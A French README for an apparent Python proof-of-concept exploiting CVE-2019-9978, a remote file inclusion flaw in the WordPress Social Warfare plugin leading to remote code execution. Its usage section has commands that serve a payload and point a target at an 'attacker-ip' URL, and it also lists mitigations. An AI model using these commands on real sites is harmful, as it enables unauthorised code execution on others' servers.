
Une preuve de concept Python personnalisée présentant l'analyse des causes profondes et l'exploitation de CVE 2019-9978 (plugin Social Warfare),axée sur le flux d'attaque pratique de RFI à RCE.
Ce dépôt contient une preuve de concept (PoC) basée sur Python démontrant l'exploitation de CVE-2019-9978, une vulnérabilité critique dans le plugin WordPress Social Warfare.
La vulnérabilité permet à un attaquant non authentifié d'effectuer une inclusion de fichier distant (RFI), qui peut être escaladée en exécution de code à distance (RCE)* en hébergeant une charge utile malveillante sur un serveur contrôlé par l'attaquant.
Cette PoC a été développée et testée dans un environnement de laboratoire WordPress contrôlé à des fins éducatives et de tests de sécurité autorisés uniquement.
Le plugin Social Warfare ne parvient pas à valider et nettoyer correctement les entrées fournies par l'utilisateur utilisées pour l'inclusion de contenu distant.
En conséquence, un attaquant peut fournir une URL externe malveillante, conduisant à une inclusion de fichier distant non authentifiée.
Lorsque le fichier distant inclus contient du code PHP exécutable, celui-ci est exécuté dans le contexte du serveur WordPress, entraînant une exécution de code à distance.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
Placez votre fichier de charge utile (par exemple, payload-main.txt) dans le répertoire du serveur.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Mettre à jour le plugin Social Warfare vers une version corrigée
Désactiver l'inclusion de fichier distant :
allow_url_include = Off
Restreindre la gestion des URL externes dans les plugins WordPress
Déployer un pare-feu d'application Web (WAF) avec des règles de détection RFI
Ce projet est destiné strictement à des fins éducatives et de tests de sécurité autorisés uniquement.
N'utilisez PAS cette preuve de concept contre des systèmes sans autorisation explicite. L'auteur n'est pas responsable de toute mauvaise utilisation ou des dommages causés par cet outil.